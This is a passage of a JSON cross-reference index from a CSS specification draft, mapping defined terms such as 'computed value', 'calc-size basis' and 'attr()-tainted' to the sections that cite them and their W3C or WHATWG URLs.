property","external":true,"refSections":[{"refs":[{"id":"ref-for-longhand"},{"id":"ref-for-longhand\u2460"},{"id":"ref-for-longhand\u2461"},{"id":"ref-for-longhand\u2462"},{"id":"ref-for-longhand\u2463"}],"title":"\nSubstitution in Shorthand Properties"}],"url":"https://www.w3.org/TR/css-cascade-5/#longhand"}, "902380f7": {"dfnID":"902380f7","dfnText":"credentials mode","external":true,"refSections":[{"refs":[{"id":"ref-for-concept-request-credentials-mode"}],"title":"4.1.1. \nRequest URL Modifiers"}],"url":"https://fetch.spec.whatwg.org/#concept-request-credentials-mode"}, "90c7548c": {"dfnID":"90c7548c","dfnText":"start","external":true,"refSections":[{"refs":[{"id":"ref-for-start"},{"id":"ref-for-start\u2460"}],"title":"4.2. \n2D Positioning: the <position> type"}],"url":"https://www.w3.org/TR/css-writing-modes-4/#start"}, "96e27c16": {"dfnID":"96e27c16","dfnText":"transparent","external":true,"refSections":[{"refs":[{"id":"ref-for-valdef-color-transparent"}],"title":"\nAppendix A: Arbitrary Substitution Functions"}],"url":"https://www.w3.org/TR/css-color-4/#valdef-color-transparent"}, "970f70ea": {"dfnID":"970f70ea","dfnText":"red","external":true,"refSections":[{"refs":[{"id":"ref-for-valdef-color-red"}],"title":"8.2. \nPicking a Random Item From a List: the random-item() function"}],"url":"https://www.w3.org/TR/css-color-4/#valdef-color-red"}, "98ddb9b0": {"dfnID":"98ddb9b0","dfnText":"<length>","external":true,"refSections":[{"refs":[{"id":"ref-for-length-value"}],"title":"3.3. \nSpecifying CSS Syntax in CSS: the <syntax> type"},{"refs":[{"id":"ref-for-length-value\u2460"},{"id":"ref-for-length-value\u2461"},{"id":"ref-for-length-value\u2462"}],"title":"4.2.1. \nParsing <position>"},{"refs":[{"id":"ref-for-length-value\u2463"}],"title":"4.2.2. \nSerializing <position>"},{"refs":[{"id":"ref-for-length-value\u2464"}],"title":"6. \nMixing and Interpolation Notations: the *-mix() family"},{"refs":[{"id":"ref-for-length-value\u2465"}],"title":"6.1. \nRepresenting Interpolation Progress: the <progress> type"},{"refs":[{"id":"ref-for-length-value\u2466"}],"title":"7.6. \nInherited Value References: the inherit() notation"},{"refs":[{"id":"ref-for-length-value\u2467"},{"id":"ref-for-length-value\u2468"}],"title":"8.1. \nGenerating a Random Numeric Value: the random() function"},{"refs":[{"id":"ref-for-length-value\u2460\u24ea"},{"id":"ref-for-length-value\u2460\u2460"},{"id":"ref-for-length-value\u2460\u2461"}],"title":"10. \nCalculating With Intrinsic Sizes: the calc-size() function"},{"refs":[{"id":"ref-for-length-value\u2460\u2462"}],"title":"10.1. \nSimplifying calc-size()"}],"url":"https://www.w3.org/TR/css-values-4/#length-value"}, "992a4717": {"dfnID":"992a4717","dfnText":"circle","external":true,"refSections":[{"refs":[{"id":"ref-for-value-def-circle"}],"title":"7.4. \nToggling Between Values: the toggle() notation"}],"url":"https://drafts.csswg.org/css2/#value-def-circle"}, "99ff5335": {"dfnID":"99ff5335","dfnText":"equivalent token sequence","external":true,"refSections":[{"refs":[{"id":"ref-for-equivalent-token-sequence"}],"title":"7.7.2. \nSecurity"}],"url":"https://www.w3.org/TR/css-properties-values-api-1/#equivalent-token-sequence"}, "9c6aec4c": {"dfnID":"9c6aec4c","dfnText":"element","external":true,"refSections":[{"refs":[{"id":"ref-for-elements"}],"title":"9. \nTree Counting Functions: the sibling-count() and sibling-index() notations"}],"url":"https://www.w3.org/TR/css-display-3/#elements"}, "9ce36abc": {"dfnID":"9ce36abc","dfnText":"specified value","external":true,"refSections":[{"refs":[{"id":"ref-for-specified-value"}],"title":"4.2.2. \nSerializing <position>"},{"refs":[{"id":"ref-for-specified-value\u2460"}],"title":"10.1. \nSimplifying calc-size()"},{"refs":[{"id":"ref-for-specified-value\u2461"}],"title":"\nAppendix A: Arbitrary Substitution Functions"}],"url":"https://www.w3.org/TR/CSS21/cascade.html#specified-value"}, "9d78b4c6": {"dfnID":"9d78b4c6","dfnText":"background-position","external":true,"refSections":[{"refs":[{"id":"ref-for-propdef-background-position"},{"id":"ref-for-propdef-background-position\u2460"},{"id":"ref-for-propdef-background-position\u2461"},{"id":"ref-for-propdef-background-position\u2462"},{"id":"ref-for-propdef-background-position\u2463"}],"title":"4.2. \n2D Positioning: the <position> type"},{"refs":[{"id":"ref-for-propdef-background-position\u2464"},{"id":"ref-for-propdef-background-position\u2465"}],"title":"7.1. \nRepresenting An Entire Property Value: the <whole-value> type"},{"refs":[{"id":"ref-for-propdef-background-position\u2467"},{"id":"ref-for-propdef-background-position\u2468"}],"title":"7.4. \nToggling Between Values: the toggle() notation"}],"url":"https://www.w3.org/TR/CSS21/colors.html#propdef-background-position"}, "9f3001fd": {"dfnID":"9f3001fd","dfnText":"syntax definition","external":true,"refSections":[{"refs":[{"id":"ref-for-syntax-definition"},{"id":"ref-for-syntax-definition\u2460"}],"title":"3.3. \nSpecifying CSS Syntax in CSS: the <syntax> type"}],"url":"https://www.w3.org/TR/css-properties-values-api-1/#syntax-definition"}, "a0144f62": {"dfnID":"a0144f62","dfnText":"<custom-ident>","external":true,"refSections":[{"refs":[{"id":"ref-for-identifier-value"},{"id":"ref-for-identifier-value\u2460"},{"id":"ref-for-identifier-value\u2461"},{"id":"ref-for-identifier-value\u2462"},{"id":"ref-for-identifier-value\u2463"}],"title":"7.8. \nConstructing <custom-ident> values: the ident() function"}],"url":"https://www.w3.org/TR/css-values-4/#identifier-value"}, "a0336d84": {"dfnID":"a0336d84","dfnText":"||","external":true,"refSections":[{"refs":[{"id":"ref-for-comb-any"}],"title":"8.1. \nGenerating a Random Numeric Value: the random() function"}],"url":"https://www.w3.org/TR/css-values-4/#comb-any"}, "a0feb601": {"dfnID":"a0feb601","dfnText":"interpolation","external":true,"refSections":[{"refs":[{"id":"ref-for-interpolation"}],"title":"4.2.3. \nCombination of <position>"},{"refs":[{"id":"ref-for-interpolation\u2460"},{"id":"ref-for-interpolation\u2461"}],"title":"6.6. \nInterpolated Property Values: the mix() notation"}],"url":"https://www.w3.org/TR/css-values-4/#interpolation"}, "a2a5dbcf": {"dfnID":"a2a5dbcf","dfnText":"easing function","external":true,"refSections":[{"refs":[{"id":"ref-for-easing-function"},{"id":"ref-for-easing-function\u2460"}],"title":"6.1. \nRepresenting Interpolation Progress: the <progress> type"}],"url":"https://www.w3.org/TR/css-easing-2/#easing-function"}, "a35169e0": {"dfnID":"a35169e0","dfnText":"<style-query>","external":true,"refSections":[{"refs":[{"id":"ref-for-typedef-style-query"}],"title":"7.3. \nConditional Value Selection: the if() notation"}],"url":"https://www.w3.org/TR/css-conditional-5/#typedef-style-query"}, "a379da23": {"dfnID":"a379da23","dfnText":"value addition","external":true,"refSections":[{"refs":[{"id":"ref-for-addition"},{"id":"ref-for-addition\u2460"}],"title":"4.2.3. \nCombination of <position>"}],"url":"https://www.w3.org/TR/css-values-4/#addition"}, "a39ee65d": {"dfnID":"a39ee65d","dfnText":"substitute a var()","external":true,"refSections":[{"refs":[{"id":"ref-for-substitute-a-var"}],"title":"8.2. \nPicking a Random Item From a List: the random-item() function"}],"url":"https://www.w3.org/TR/css-variables-1/#substitute-a-var"}, "a47a9020": {"dfnID":"a47a9020","dfnText":"guaranteed-invalid value","external":true,"refSections":[{"refs":[{"id":"ref-for-guaranteed-invalid-value"},{"id":"ref-for-guaranteed-invalid-value\u2460"}],"title":"3.3.1. \nParsing as <syntax>"},{"refs":[{"id":"ref-for-guaranteed-invalid-value\u2461"}],"title":"7.6. \nInherited Value References: the inherit() notation"},{"refs":[{"id":"ref-for-guaranteed-invalid-value\u2462"}],"title":"7.7. \nAttribute References: the attr() notation"},{"refs":[{"id":"ref-for-guaranteed-invalid-value\u2463"},{"id":"ref-for-guaranteed-invalid-value\u2464"},{"id":"ref-for-guaranteed-invalid-value\u2465"}],"title":"7.7.1. \nAttribute Value Substitution: the attr() notation"},{"refs":[{"id":"ref-for-guaranteed-invalid-value\u2466"}],"title":"8.2. \nPicking a Random Item From a List: the random-item() function"},{"refs":[{"id":"ref-for-guaranteed-invalid-value\u2467"},{"id":"ref-for-guaranteed-invalid-value\u2468"},{"id":"ref-for-guaranteed-invalid-value\u2460\u24ea"},{"id":"ref-for-guaranteed-invalid-value\u2460\u2460"},{"id":"ref-for-guaranteed-invalid-value\u2460\u2461"},{"id":"ref-for-guaranteed-invalid-value\u2460\u2462"},{"id":"ref-for-guaranteed-invalid-value\u2460\u2463"}],"title":"\nAppendix A: Arbitrary Substitution Functions"},{"refs":[{"id":"ref-for-guaranteed-invalid-value\u2460\u2464"},{"id":"ref-for-guaranteed-invalid-value\u2460\u2465"}],"title":"\nInvalid Substitution"},{"refs":[{"id":"ref-for-guaranteed-invalid-value\u2460\u2466"}],"title":"\nSafely Handling Overly-Long Substitution"}],"url":"https://www.w3.org/TR/css-variables-1/#guaranteed-invalid-value"}, "a4b64c8b": {"dfnID":"a4b64c8b","dfnText":"ReferrerPolicy","external":true,"refSections":[{"refs":[{"id":"ref-for-enumdef-referrerpolicy"}],"title":"4.1.1. \nRequest URL Modifiers"}],"url":"https://www.w3.org/TR/referrer-policy/#enumdef-referrerpolicy"}, "a5d6c9d2": {"dfnID":"a5d6c9d2","dfnText":"@supports","external":true,"refSections":[{"refs":[{"id":"ref-for-at-ruledef-supports"}],"title":"3.2. \nBoolean Expression Multiplier <boolean-expr[]>"},{"refs":[{"id":"ref-for-at-ruledef-supports\u2460"}],"title":"7.2. \nSelecting the First Supported Value: the first-valid() notation"},{"refs":[{"id":"ref-for-at-ruledef-supports\u2461"}],"title":"7.3. \nConditional Value Selection: the if() notation"},{"refs":[{"id":"ref-for-at-ruledef-supports\u2462"}],"title":"\nAppendix B: Boolean Logic"}],"url":"https://www.w3.org/TR/css-conditional-3/#at-ruledef-supports"}, "a6eb24bb": {"dfnID":"a6eb24bb","dfnText":"inline axis","external":true,"refSections":[{"refs":[{"id":"ref-for-inline-axis"},{"id":"ref-for-inline-axis\u2460"}],"title":"4.2. \n2D Positioning: the <position> type"},{"refs":[{"id":"ref-for-inline-axis\u2461"}],"title":"4.2.2. \nSerializing <position>"}],"url":"https://www.w3.org/TR/css-writing-modes-4/#inline-axis"}, "a91daf3b": {"dfnID":"a91daf3b","dfnText":"behave as auto","external":true,"refSections":[{"refs":[{"id":"ref-for-behave-as-auto"},{"id":"ref-for-behave-as-auto\u2460"}],"title":"10.2. \nResolving calc-size()"}],"url":"https://www.w3.org/TR/css-sizing-3/#behave-as-auto"}, "a959f189": {"dfnID":"a959f189","dfnText":"small viewport size","external":true,"refSections":[{"refs":[{"id":"ref-for-small-viewport-size"}],"title":"5.3. \nContainer Query Progress Values: the container-progress() notation"}],"url":"https://www.w3.org/TR/css-values-4/#small-viewport-size"}, "a976c737": {"dfnID":"a976c737","dfnText":"blue","external":true,"refSections":[{"refs":[{"id":"ref-for-valdef-color-blue"}],"title":"8.2. \nPicking a Random Item From a List: the random-item() function"}],"url":"https://www.w3.org/TR/css-color-4/#valdef-color-blue"}, "ab2f3e73": {"dfnID":"ab2f3e73","dfnText":"computed value","external":true,"refSections":[{"refs":[{"id":"ref-for-computed-value"}],"title":"3.3.1. \nParsing as <syntax>"},{"refs":[{"id":"ref-for-computed-value\u2460"}],"title":"4.2. \n2D Positioning: the <position> type"},{"refs":[{"id":"ref-for-computed-value\u2461"}],"title":"4.2.2. \nSerializing <position>"},{"refs":[{"id":"ref-for-computed-value\u2462"},{"id":"ref-for-computed-value\u2463"}],"title":"6.1. \nRepresenting Interpolation Progress: the <progress> type"},{"refs":[{"id":"ref-for-computed-value\u2464"},{"id":"ref-for-computed-value\u2465"}],"title":"6.2. \nInterpolated Numeric and Dimensional Values: the calc-mix() notation"},{"refs":[{"id":"ref-for-computed-value\u2466"},{"id":"ref-for-computed-value\u2467"}],"title":"6.5. \nInterpolated Transform Values: the transform-mix() notation"},{"refs":[{"id":"ref-for-computed-value\u2468"},{"id":"ref-for-computed-value\u2460\u24ea"}],"title":"6.6. \nInterpolated Property Values: the mix() notation"},{"refs":[{"id":"ref-for-computed-value\u2460\u2460"}],"title":"7.4. \nToggling Between Values: the toggle() notation"},{"refs":[{"id":"ref-for-computed-value\u2460\u2461"},{"id":"ref-for-computed-value\u2460\u2462"},{"id":"ref-for-computed-value\u2460\u2463"},{"id":"ref-for-computed-value\u2460\u2464"}],"title":"7.6. \nInherited Value References: the inherit() notation"},{"refs":[{"id":"ref-for-computed-value\u2460\u2465"}],"title":"7.7.1. \nAttribute Value Substitution: the attr() notation"},{"refs":[{"id":"ref-for-computed-value\u2460\u2466"}],"title":"8.1. \nGenerating a Random Numeric Value: the random() function"},{"refs":[{"id":"ref-for-computed-value\u2460\u2467"}],"title":"8.2. \nPicking a Random Item From a List: the random-item() function"},{"refs":[{"id":"ref-for-computed-value\u2460\u2468"}],"title":"8.3. \nGenerating/Caching Random Values: the <random-caching-options> value"},{"refs":[{"id":"ref-for-computed-value\u2461\u24ea"}],"title":"10.1. \nSimplifying calc-size()"},{"refs":[{"id":"ref-for-computed-value\u2461\u2460"},{"id":"ref-for-computed-value\u2461\u2461"},{"id":"ref-for-computed-value\u2461\u2462"}],"title":"\nAppendix A: Arbitrary Substitution Functions"}],"url":"https://www.w3.org/TR/CSS21/cascade.html#computed-value"}, "af4a190d": {"dfnID":"af4a190d","dfnText":"+","external":true,"refSections":[{"refs":[{"id":"ref-for-mult-one-plus"}],"title":"7.8. \nConstructing <custom-ident> values: the ident() function"}],"url":"https://www.w3.org/TR/css-values-4/#mult-one-plus"}, "apply-request-modifiers-from-url-value": {"dfnID":"apply-request-modifiers-from-url-value","dfnText":"apply request modifiers from URL value","external":false,"refSections":[],"url":"#apply-request-modifiers-from-url-value"}, "arbitrary-substitution-function": {"dfnID":"arbitrary-substitution-function","dfnText":"arbitrary substitution function","external":false,"refSections":[{"refs":[{"id":"ref-for-arbitrary-substitution-function"}],"title":"3.1.1. \nCommas in Function Arguments"},{"refs":[{"id":"ref-for-arbitrary-substitution-function\u2460"}],"title":"7.3. \nConditional Value Selection: the if() notation"},{"refs":[{"id":"ref-for-arbitrary-substitution-function\u2461"}],"title":"7.6. \nInherited Value References: the inherit() notation"},{"refs":[{"id":"ref-for-arbitrary-substitution-function\u2462"}],"title":"7.7.1. \nAttribute Value Substitution: the attr() notation"},{"refs":[{"id":"ref-for-arbitrary-substitution-function\u2463"}],"title":"7.7.2. \nSecurity"},{"refs":[{"id":"ref-for-arbitrary-substitution-function\u2464"},{"id":"ref-for-arbitrary-substitution-function\u2465"}],"title":"7.7.3. \nCycles"},{"refs":[{"id":"ref-for-arbitrary-substitution-function\u2466"},{"id":"ref-for-arbitrary-substitution-function\u2467"},{"id":"ref-for-arbitrary-substitution-function\u2468"}],"title":"8.2. \nPicking a Random Item From a List: the random-item() function"},{"refs":[{"id":"ref-for-arbitrary-substitution-function\u2460\u24ea"},{"id":"ref-for-arbitrary-substitution-function\u2460\u2460"},{"id":"ref-for-arbitrary-substitution-function\u2460\u2461"},{"id":"ref-for-arbitrary-substitution-function\u2460\u2462"},{"id":"ref-for-arbitrary-substitution-function\u2460\u2463"},{"id":"ref-for-arbitrary-substitution-function\u2460\u2464"},{"id":"ref-for-arbitrary-substitution-function\u2460\u2465"}],"title":"\nAppendix A: Arbitrary Substitution Functions"},{"refs":[{"id":"ref-for-arbitrary-substitution-function\u2460\u2466"}],"title":"\nInvalid Substitution"},{"refs":[{"id":"ref-for-arbitrary-substitution-function\u2460\u2467"},{"id":"ref-for-arbitrary-substitution-function\u2460\u2468"},{"id":"ref-for-arbitrary-substitution-function\u2461\u24ea"},{"id":"ref-for-arbitrary-substitution-function\u2461\u2460"},{"id":"ref-for-arbitrary-substitution-function\u2461\u2461"},{"id":"ref-for-arbitrary-substitution-function\u2461\u2462"}],"title":"\nSubstitution in Shorthand Properties"},{"refs":[{"id":"ref-for-arbitrary-substitution-function\u2461\u2463"},{"id":"ref-for-arbitrary-substitution-function\u2461\u2464"},{"id":"ref-for-arbitrary-substitution-function\u2461\u2465"}],"title":"\nSafely Handling Overly-Long Substitution"},{"refs":[{"id":"ref-for-arbitrary-substitution-function\u2461\u2466"}],"title":"\nChanges"}],"url":"#arbitrary-substitution-function"}, "attr-taint": {"dfnID":"attr-taint","dfnText":"attr()-tainted","external":false,"refSections":[{"refs":[{"id":"ref-for-attr-taint"},{"id":"ref-for-attr-taint\u2460"},{"id":"ref-for-attr-taint\u2461"},{"id":"ref-for-attr-taint\u2462"},{"id":"ref-for-attr-taint\u2463"},{"id":"ref-for-attr-taint\u2464"}],"title":"7.7.2. \nSecurity"}],"url":"#attr-taint"}, "b0928dd2": {"dfnID":"b0928dd2","dfnText":"sans-serif","external":true,"refSections":[{"refs":[{"id":"ref-for-valdef-font-family-sans-serif"}],"title":"3.1.1. \nCommas in Function Arguments"}],"url":"https://www.w3.org/TR/css-fonts-4/#valdef-font-family-sans-serif"}, "b4117794": {"dfnID":"b4117794","dfnText":"cascade","external":true,"refSections":[{"refs":[{"id":"ref-for-x12"}],"title":"\nAppendix A: Arbitrary Substitution Functions"},{"refs":[{"id":"ref-for-x12\u2460"}],"title":"\nSubstitution in Shorthand Properties"}],"url":"https://www.w3.org/TR/CSS21/cascade.html#x12"}, "b4591168": {"dfnID":"b4591168","dfnText":"cross-fade()","external":true,"refSections":[{"refs":[{"id":"ref-for-funcdef-cross-fade"},{"id":"ref-for-funcdef-cross-fade\u2460"}],"title":"6. \nMixing and Interpolation Notations: the *-mix() family"},{"refs":[{"id":"ref-for-funcdef-cross-fade\u2461"},{"id":"ref-for-funcdef-cross-fade\u2462"},{"id":"ref-for-funcdef-cross-fade\u2463"}],"title":"6.4. \nInterpolated Image Values: the cross-fade() notation"}],"url":"https://www.w3.org/TR/css-images-4/#funcdef-cross-fade"}, "b5dffdd5": {"dfnID":"b5dffdd5","dfnText":"monospace","external":true,"refSections":[{"refs":[{"id":"ref-for-valdef-font-family-monospace"}],"title":"3.1.1. \nCommas in Function Arguments"}],"url":"https://www.w3.org/TR/css-fonts-4/#valdef-font-family-monospace"}, "b8dade0f": {"dfnID":"b8dade0f","dfnText":"block axis","external":true,"refSections":[{"refs":[{"id":"ref-for-block-axis"},{"id":"ref-for-block-axis\u2460"}],"title":"4.2. \n2D Positioning: the <position> type"},{"refs":[{"id":"ref-for-block-axis\u2461"}],"title":"4.2.2. \nSerializing <position>"}],"url":"https://www.w3.org/TR/css-writing-modes-4/#block-axis"}, "b9b36bfc": {"dfnID":"b9b36bfc","dfnText":"<general-enclosed>","external":true,"refSections":[{"refs":[{"id":"ref-for-typedef-general-enclosed"},{"id":"ref-for-typedef-general-enclosed\u2460"}],"title":"3.2. \nBoolean Expression Multiplier <boolean-expr[]>"},{"refs":[{"id":"ref-for-typedef-general-enclosed\u2461"},{"id":"ref-for-typedef-general-enclosed\u2462"}],"title":"\nAppendix B: Boolean Logic"}],"url":"https://www.w3.org/TR/mediaqueries-5/#typedef-general-enclosed"}, "bcdf9b19": {"dfnID":"bcdf9b19","dfnText":"color","external":true,"refSections":[{"refs":[{"id":"ref-for-propdef-color"},{"id":"ref-for-propdef-color\u2460"},{"id":"ref-for-propdef-color\u2461"}],"title":"\nAppendix A: Arbitrary Substitution Functions"}],"url":"https://www.w3.org/TR/css-color-4/#propdef-color"}, "bd7559da": {"dfnID":"bd7559da","dfnText":"font-palette","external":true,"refSections":[{"refs":[{"id":"ref-for-propdef-font-palette"}],"title":"6. \nMixing and Interpolation Notations: the *-mix() family"}],"url":"https://www.w3.org/TR/css-fonts-4/#propdef-font-palette"}, "bdb4e757": {"dfnID":"bdb4e757","dfnText":"&&","external":true,"refSections":[{"refs":[{"id":"ref-for-comb-all"},{"id":"ref-for-comb-all\u2460"},{"id":"ref-for-comb-all\u2461"},{"id":"ref-for-comb-all\u2462"}],"title":"4.2. \n2D Positioning: the <position> type"},{"refs":[{"id":"ref-for-comb-all\u2463"}],"title":"6.1. \nRepresenting Interpolation Progress: the <progress> type"},{"refs":[{"id":"ref-for-comb-all\u2464"},{"id":"ref-for-comb-all\u2465"}],"title":"6.3. \nInterpolated Color Values: the color-mix() notation"},{"refs":[{"id":"ref-for-comb-all\u2466"}],"title":"6.6. \nInterpolated Property Values: the mix() notation"}],"url":"https://www.w3.org/TR/css-values-4/#comb-all"}, "bfb148e6": {"dfnID":"bfb148e6","dfnText":"getComputedStyle(elt)","external":true,"refSections":[{"refs":[{"id":"ref-for-dom-window-getcomputedstyle"}],"title":"7.6. \nInherited Value References: the inherit() notation"}],"url":"https://www.w3.org/TR/cssom-1/#dom-window-getcomputedstyle"}, "c20b5ff5": {"dfnID":"c20b5ff5","dfnText":"auto","external":true,"refSections":[{"refs":[{"id":"ref-for-valdef-width-auto"}],"title":"7.6. \nInherited Value References: the inherit() notation"},{"refs":[{"id":"ref-for-valdef-width-auto\u2460"},{"id":"ref-for-valdef-width-auto\u2461"}],"title":"10. \nCalculating With Intrinsic Sizes: the calc-size() function"},{"refs":[{"id":"ref-for-valdef-width-auto\u2462"}],"title":"10.3. \nInterpolating calc-size()"},{"refs":[{"id":"ref-for-valdef-width-auto\u2463"}],"title":"10.4. \nInterpolating sizing keywords: the interpolate-size property"}],"url":"https://www.w3.org/TR/css-sizing-3/#valdef-width-auto"}, "c297b070": {"dfnID":"c297b070","dfnText":"#","external":true,"refSections":[{"refs":[{"id":"ref-for-mult-comma"}],"title":"6.3. \nInterpolated Color Values: the color-mix() notation"},{"refs":[{"id":"ref-for-mult-comma\u2460"}],"title":"6.4. \nInterpolated Image Values: the cross-fade() notation"},{"refs":[{"id":"ref-for-mult-comma\u2461"}],"title":"7.2. \nSelecting the First Supported Value: the first-valid() notation"},{"refs":[{"id":"ref-for-mult-comma\u2462"}],"title":"7.4. \nToggling Between Values: the toggle() notation"},{"refs":[{"id":"ref-for-mult-comma\u2463"}],"title":"8.2. \nPicking a Random Item From a List: the random-item() function"}],"url":"https://www.w3.org/TR/css-values-4/#mult-comma"}, "c43222a2": {"dfnID":"c43222a2","dfnText":"<transform-function>","external":true,"refSections":[{"refs":[{"id":"ref-for-typedef-transform-function"}],"title":"6.5. \nInterpolated Transform Values: the transform-mix() notation"}],"url":"https://www.w3.org/TR/css-transforms-2/#typedef-transform-function"}, "c453ced3": {"dfnID":"c453ced3","dfnText":"auto","external":true,"refSections":[{"refs":[{"id":"ref-for-valdef-animation-timeline-auto"}],"title":"6.1. \nRepresenting Interpolation Progress: the <progress> type"}],"url":"https://www.w3.org/TR/css-animations-2/#valdef-animation-timeline-auto"}, "c9d58bc6": {"dfnID":"c9d58bc6","dfnText":"<complex-real-selector-list>","external":true,"refSections":[{"refs":[{"id":"ref-for-typedef-complex-real-selector-list"}],"title":"9. \nTree Counting Functions: the sibling-count() and sibling-index() notations"}],"url":"https://drafts.csswg.org/selectors-4/#typedef-complex-real-selector-list"}, "calc-size-basis": {"dfnID":"calc-size-basis","dfnText":"calc-size basis","external":false,"refSections":[{"refs":[{"id":"ref-for-calc-size-basis"}],"title":"10. \nCalculating With Intrinsic Sizes: the calc-size() function"},{"refs":[{"id":"ref-for-calc-size-basis\u2460"},{"id":"ref-for-calc-size-basis\u2461"},{"id":"ref-for-calc-size-basis\u2462"},{"id":"ref-for-calc-size-basis\u2463"},{"id":"ref-for-calc-size-basis\u2464"},{"id":"ref-for-calc-size-basis\u2465"}],"title":"10.1. \nSimplifying calc-size()"},{"refs":[{"id":"ref-for-calc-size-basis\u2466"},{"id":"ref-for-calc-size-basis\u2467"},{"id":"ref-for-calc-size-basis\u2468"},{"id":"ref-for-calc-size-basis\u2460\u24ea"},{"id":"ref-for-calc-size-basis\u2460\u2460"},{"id":"ref-for-calc-size-basis\u2460\u2461"}],"title":"10.2. \nResolving calc-size()"},{"refs":[{"id":"ref-for-calc-size-basis\u2460\u2462"},{"id":"ref-for-calc-size-basis\u2460\u2463"},{"id":"ref-for-calc-size-basis\u2460\u2464"},{"id":"ref-for-calc-size-basis\u2460\u2465"},{"id":"ref-for-calc-size-basis\u2460\u2466"}],"title":"10.3. \nInterpolating calc-size()"}],"url":"#calc-size-basis"}, "calc-size-calculation": {"dfnID":"calc-size-calculation","dfnText":"calc-size calculation","external":false,"refSections":[{"refs":[{"id":"ref-for-calc-size-calculation"}],"title":"10. \nCalculating With Intrinsic Sizes: the calc-size() function"},{"refs":[{"id":"ref-for-calc-size-calculation\u2460"},{"id":"ref-for-calc-size-calculation\u2461"},{"id":"ref-for-calc-size-calculation\u2462"},{"id":"ref-for-calc-size-calculation\u2463"},{"id":"ref-for-calc-size-calculation\u2464"}],"title":"10.1. \nSimplifying calc-size()"},{"refs":[{"id":"ref-for-calc-size-calculation\u2465"},{"id":"ref-for-calc-size-calculation\u2466"},{"id":"ref-for-calc-size-calculation\u2467"},{"id":"ref-for-calc-size-calculation\u2468"}],"title":"10.2. \nResolving calc-size()"},{"refs":[{"id":"ref-for-calc-size-calculation\u2460\u24ea"},{"id":"ref-for-calc-size-calculation\u2460\u2460"},{"id":"ref-for-calc-size-calculation\u2460\u2461"}],"title":"10.3. \nInterpolating calc-size()"}],"url":"#calc-size-calculation"}, "calc-size-canonicalize-for-interpolation": {"dfnID":"calc-size-canonicalize-for-interpolation","dfnText":"canonicalize for interpolation","external":false,"refSections":[{"refs":[{"id":"ref-for-calc-size-canonicalize-for-interpolation"},{"id":"ref-for-calc-size-canonicalize-for-interpolation\u2460"}],"title":"10.3. \nInterpolating calc-size()"}],"url":"#calc-size-canonicalize-for-interpolation"}, "calculate-a-progress-function": {"dfnID":"calculate-a-progress-function","dfnText":"calculate a progress function","external":false,"refSections":[{"refs":[{"id":"ref-for-calculate-a-progress-function"}],"title":"5. \nInterpolation Progress Functional Notations"},{"refs":[{"id":"ref-for-calculate-a-progress-function\u2460"}],"title":"5.1. \nCalculated Progress Values: the progress() notation"},{"refs":[{"id":"ref-for-calculate-a-progress-function\u2461"}],"title":"5.2. \nMedia Query Progress Values: the media-progress() notation"},{"refs":[{"id":"ref-for-calculate-a-progress-function\u2462"}],"title":"5.3. \nContainer Query Progress Values: the container-progress() notation"}],"url":"#calculate-a-progress-function"}, "cb0b07ea": {"dfnID":"cb0b07ea","dfnText":"clamp()","external":true,"refSections":[{"refs":[{"id":"ref-for-funcdef-clamp"}],"title":"\nChanges"}],"url":"https://www.w3.org/TR/css-values-4/#funcdef-clamp"}, "cb98f71f": {"dfnID":"cb98f71f","dfnText":"mode","external":true,"refSections":[{"refs":[{"id":"ref-for-concept-request-mode"}],"title":"4.1.1. \nRequest URL Modifiers"}],"url":"https://fetch.spec.whatwg.org/#concept-request-mode"}, "cbeb753c": {"dfnID":"cbeb753c","dfnText":"inheritance","external":true,"refSections":[{"refs":[{"id":"ref-for-inheritance"}],"title":"8.1. \nGenerating a Random Numeric Value: the random() function"}],"url":"https://www.w3.org/TR/css-cascade-5/#inheritance"}, "cc30ecb8": {"dfnID":"cc30ecb8","dfnText":"<supports-condition>","external":true,"refSections":[{"refs":[{"id":"ref-for-typedef-supports-condition"}],"title":"7.3. \nConditional Value Selection: the if() notation"}],"url":"https://www.w3.org/TR/css-conditional-3/#typedef-supports-condition"}, "ce7224b2": {"dfnID":"ce7224b2","dfnText":"parse something according to a CSS grammar","external":true,"refSections":[{"refs":[{"id":"ref-for-css-parse-something-according-to-a-css-grammar"},{"id":"ref-for-css-parse-something-according-to-a-css-grammar\u2460"}],"title":"3.3. \nSpecifying CSS Syntax in CSS: the <syntax> type"},{"refs":[{"id":"ref-for-css-parse-something-according-to-a-css-grammar\u2461"},{"id":"ref-for-css-parse-something-according-to-a-css-grammar\u2462"}],"title":"3.3.1. \nParsing as <syntax>"},{"refs":[{"id":"ref-for-css-parse-something-according-to-a-css-grammar\u2463"}],"title":"7.7. \nAttribute References: the attr() notation"}],"url":"https://www.w3.org/TR/css-syntax-3/#css-parse-something-according-to-a-css-grammar"}, "ce7ea0de": {"dfnID":"ce7ea0de","dfnText":"identifier","external":true,"refSections":[{"refs":[{"id":"ref-for-css-css-identifier"}],"title":"3.3. \nSpecifying CSS Syntax in CSS: the <syntax> type"},{"refs":[{"id":"ref-for-css-css-identifier\u2460"}],"title":"7.7. \nAttribute References: the attr() notation"}],"url":"https://www.w3.org/TR/css-values-4/#css-css-identifier"}, "cf21212f": {"dfnID":"cf21212f","dfnText":"random()","external":true,"refSections":[{"refs":[{"id":"ref-for-sec-math.random"}],"title":"8.3. \nGenerating/Caching Random Values: the <random-caching-options> value"}],"url":"https://tc39.es/ecma262/multipage/numbers-and-dates.html#sec-math.random"}, "comma-containing-productions": {"dfnID":"comma-containing-productions","dfnText":"comma-containing productions","external":false,"refSections":[{"refs":[{"id":"ref-for-comma-containing-productions"},{"id":"ref-for-comma-containing-productions\u2460"},{"id":"ref-for-comma-containing-productions\u2461"},{"id":"ref-for-comma-containing-productions\u2462"},{"id":"ref-for-comma-containing-productions\u2463"}],"title":"3.1.1. \nCommas in Function Arguments"}],"url":"#comma-containing-productions"}, "css-random-functions": {"dfnID":"css-random-functions","dfnText":"random functions","external":false,"refSections":[{"refs":[{"id":"ref-for-css-random-functions"}],"title":"8. \nGenerating Random Values"}],"url":"#css-random-functions"}, "d0dc95c3": {"dfnID":"d0dc95c3","dfnText":"inherit","external":true,"refSections":[{"refs":[{"id":"ref-for-valdef-all-inherit"}],"title":"7.4. \nToggling Between Values: the toggle() notation"},{"refs":[{"id":"ref-for-valdef-all-inherit\u2460"}],"title":"7.6. \nInherited Value References: the inherit() notation"}],"url":"https://www.w3.org/TR/css-cascade-5/#valdef-all-inherit"}, "d3da3539": {"dfnID":"d3da3539","dfnText":"min-content","external":true,"refSections":[{"refs":[{"id":"ref-for-valdef-width-min-content"}],"title":"10. \nCalculating With Intrinsic Sizes: the calc-size() 